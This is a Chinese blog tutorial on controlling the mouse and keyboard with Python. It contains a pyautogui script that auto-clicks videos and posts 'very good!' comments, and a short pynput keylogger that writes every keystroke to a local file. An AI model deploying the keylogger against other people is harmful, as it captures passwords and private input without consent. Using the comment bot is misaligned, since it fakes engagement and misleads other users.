Python控制鼠标键盘代码实例


Posted in Python onDecember 08, 2020

python控制鼠标键盘其实很容易,我们在写程序的时候很多时候会用的到!

python控制鼠标键盘步骤及代码

1、安装类库

pip install pyautogui

2、代码:

import pyautogui,time,random

pyautogui.PAUSE = 3
pyautogui.FAILSAFE = True

width, height = pyautogui.size()
#print(str(width))
#print(str(height))

def drawRct():
 for i in range(10):
  pyautogui.moveTo(300, 300, duration=0.25)
  pyautogui.moveTo(400, 300, duration=0.25)
  pyautogui.moveTo(400, 400, duration=0.25)
  pyautogui.moveTo(300, 400, duration=0.25)


def mouseScroll():
 time.sleep(5)
 for i in range(10):
  pyautogui.scroll(-200)
  time.sleep(2)

def getXy():
 try:
  while True:
   x, y = pyautogui.position()
   print(x,y)
 except KeyboardInterrupt:
  print('\nExit.')


def playVideo(x,y):
 for i in range(4):
  pyautogui.click(x,y)
  x=x+240
  playAndComment()


def playAndComment():
 time.sleep(random.randint(5,15))
 pyautogui.scroll(-400)
 pyautogui.scroll(-400)
 pyautogui.click(200,300)
 pyautogui.typewrite('very good!')
 pyautogui.click(900,400)
 pyautogui.click(710,16)

if __name__ == '__main__':
 time.sleep(5)
 pyautogui.scroll(-300)
 for i in range(9):
  print(str(i))
  time.sleep(random.randint(3,5))
  #pyautogui.click(360,16)
  pyautogui.scroll(-300)
  time.sleep(random.randint(1,5))
  playVideo(404,330)

直接监听用户键盘操作

from pynput.keyboard import Listener
import logging
 
location = "./"
 
logging.basicConfig( filename=(location+"keylogger.txt"), format="%(message)s", level=logging.DEBUG)
 
def press(key):
  logging.info(key)
 
with Listener(on_press = press) as listener:
  print('The program begins to watch the action of keyboard:')
  listener.join()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
pyqt4教程之实现windows窗口小示例分享
Mar 07 Python
python实现两个文件合并功能
Apr 01 Python
PyQt5每天必学之关闭窗口
Apr 19 Python
Django中的ajax请求
Oct 19 Python
python读csv文件时指定行为表头或无表头的方法
Jun 26 Python
python中树与树的表示知识点总结
Sep 14 Python
Python创建一个元素都为0的列表实例
Nov 28 Python
Python中Subprocess的不同函数解析
Dec 10 Python
flask框架url与重定向操作实例详解
Jan 25 Python
Python实现名片管理系统
Feb 14 Python
Python 机器学习工具包SKlearn的安装与使用
May 14 Python
教你用Python爬取英雄联盟皮肤原画
Jun 13 Python
Pycharm-community-2020.2.3 社区版安装教程图文详解
Dec 08 #Python
解决pycharm导入numpy包的和使用时报错:RuntimeError: The current Numpy installation (‘D:\\python3.6\\lib\\site-packa的问题
Dec 08 #Python
Python爬虫之App爬虫视频下载的实现
Dec 08 #Python
Python爬虫进阶之爬取某视频并下载的实现
Dec 08 #Python
selenium框架中driver.close()和driver.quit()关闭浏览器
Dec 08 #Python
Python hashlib和hmac模块使用方法解析
Dec 08 #Python
Python虚拟环境virtualenv创建及使用过程图解
Dec 08 #Python
You might like
php数组函数序列之array_unique() - 去除数组中重复的元素值
2011/10/29 PHP
php setcookie函数的参数说明及其用法
2014/04/20 PHP
PHP实现的ID混淆算法类与用法示例
2018/08/10 PHP
PHP SESSION跨页面传递失败解决方案
2020/12/11 PHP
简单的无缝滚动程序-仅几行代码
2007/05/08 Javascript
javascript 嵌套的函数(作用域链)
2010/03/15 Javascript
JavaScript模块随意拖动示例代码
2014/05/27 Javascript
jQuery时间插件jquery.clock.js用法实例(5个示例)
2016/01/14 Javascript
jQuery实现下拉加载功能实例代码
2016/04/01 Javascript
第一次接触JS require.js模块化工具
2016/04/17 Javascript
jQuery删除当前节点元素
2016/12/07 Javascript
详解用原生JavaScript实现jQuery的某些简单功能
2016/12/19 Javascript
Javascript中数组去重与拍平的方法示例
2017/02/03 Javascript
Javascript中将变量转换为字符串的三种方法
2017/09/19 Javascript
ES6之模版字符串的具体使用
2018/05/17 Javascript
JS实现动态生成html table表格的方法分析
2018/07/11 Javascript
vue的style绑定background-image的方式和其他变量数据的区别详解
2018/09/03 Javascript
js限制input只能输入有效的数字(第一个不能是小数点)
2018/09/28 Javascript
小程序测试后台服务的方法(ngrok)
2019/03/08 Javascript
nodejs通过钉钉群机器人推送消息的实现代码
2019/05/05 NodeJs
vscode vue 文件模板的配置方法
2019/07/23 Javascript
微信小程序 数据缓存实现方法详解
2019/08/26 Javascript
Layui带搜索的下拉框的使用以及动态数据绑定方法
2019/09/28 Javascript
[02:33]DOTA2英雄基础教程 司夜刺客
2013/12/04 DOTA
Python 面向对象 成员的访问约束
2008/12/23 Python
Python微信库:itchat的用法详解
2017/08/14 Python
python将控制台输出保存至文件的方法
2019/01/07 Python
pyqt 实现QlineEdit 输入密码显示成圆点的方法
2019/06/24 Python
python接口调用已训练好的caffe模型测试分类方法
2019/08/26 Python
Python 操作 PostgreSQL 数据库示例【连接、增删改查等】
2020/04/21 Python
django 数据库返回queryset实现封装为字典
2020/05/19 Python
Windows下PyCharm配置Anaconda环境(超详细教程)
2020/07/31 Python
java字符串格式化输出实例讲解
2021/01/06 Python
美体小铺法国官方网站:The Body Shop法国
2020/06/04 全球购物
个人遵守党的政治纪律情况对照检查材料思想汇报
2014/09/25 职场文书
2016年最美孝心少年事迹材料
2016/02/26 职场文书